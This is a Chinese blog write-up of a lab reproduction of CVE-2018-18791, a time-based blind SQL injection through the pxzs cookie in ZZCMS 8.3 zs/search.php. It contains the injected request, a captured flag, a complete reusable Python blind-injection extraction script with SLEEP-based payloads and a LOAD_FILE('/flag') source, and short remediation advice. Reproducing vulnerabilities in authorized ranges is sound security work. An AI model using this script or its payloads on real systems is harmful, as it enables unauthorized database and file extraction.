春秋云镜靶场漏洞复现:CVE-2018-18791 ZZCMS `zs/search.php` Cookie 时间盲注

环境:春秋云境“免费空间”授权实验靶场。历史实例已关闭。

1. 基本信息

项目 内容
CVE CVE-2018-18791
产品 ZZCMS 8.3
入口 zs/search.php
注入位置 pxzs Cookie
利用方式 SQL 时间盲注读取 flag 表
Flag flag{fa994608-91f7-495c-9ab9-f3d3931c0d31}

2. 原理与复现

pxzs Cookie 未安全处理并进入 SQL。授权请求结构:

GET /zs/search.php HTTP/1.1
Host: <ZZCMS-靶场域名>
Cookie: pxzs=<time-based-sqli>

以 SLEEP 造成响应时间差,逐位枚举 flag 表:

flag{fa994608-91f7-495c-9ab9-f3d3931c0d31}

Python 爆破脚本(时间盲注)

仅对本题授权靶场使用。先按本文关键请求设置 URL、METHOD、LOCATION、FIELD、SOURCE、基础表单和 Cookie;SOURCE 使用本题已确认的 flag 表达式或 /flag 读取表达式。

import string
import time
import requests

URL = "https://<authorized-target>/<endpoint>"
METHOD = "POST"                 # GET 或 POST
LOCATION = "form"               # form、query 或 cookie
FIELD = "user_name"
SOURCE = "LOAD_FILE('/flag')"   # 或 (SELECT flag FROM ctf.flag LIMIT 1)
BASE_DATA = {"password": "<value>"}
BASE_COOKIES = {}
DELAY = 3.0
THRESHOLD = 2.0
MAX_LEN = 80
ALPHABET = string.ascii_letters + string.digits + "{}_@.-,:/"

session = requests.Session()

def send(payload):
    if LOCATION == "cookie":
        cookies = dict(BASE_COOKIES)
        cookies[FIELD] = payload
        return session.request(METHOD, URL, cookies=cookies, timeout=DELAY + 5)
    if LOCATION == "query" or METHOD == "GET":
        return session.get(URL, params={FIELD: payload}, timeout=DELAY + 5)
    data = dict(BASE_DATA)
    data[FIELD] = payload
    return session.post(URL, data=data, timeout=DELAY + 5)

def extract_flag():
    result = ""
    for pos in range(1, MAX_LEN + 1):
        for ch in ALPHABET:
            code = ord(ch)
            payload = (
                f"' AND IF(ASCII(SUBSTRING({SOURCE},{pos},1))={code},"
                f"SLEEP({DELAY}),0)-- -"
            )
            started = time.monotonic()
            send(payload)
            if time.monotonic() - started >= THRESHOLD:
                result += ch
                print(f"{pos:02d}: {result}", flush=True)
                break
        else:
            break
        if result.endswith("}"):
            break
    return result

if __name__ == "__main__":
    print("recovered:", extract_flag())

脚本逐位置遍历候选字符,条件为真时触发 SLEEP,并以超过 THRESHOLD 的耗时作为 oracle。运行前先用已知真假条件校准 DELAY/THRESHOLD,并把候选字符集限制在题目实际 Flag 格式内。

3. 修复建议与验证

Cookie 使用严格类型校验和预编译 SQL,限制数据库权限并统一响应时间。Flag 与平台记录一致,场景已关闭;原始 payload 未保存,截图已保存到 images 目录并由平台详情页复核。

截图证据

题目详情与已攻克状态

题目状态与 Flag 验证区域

posted @ 2026-08-17 10:08  广东老八  阅读(23)  评论(0)    收藏  举报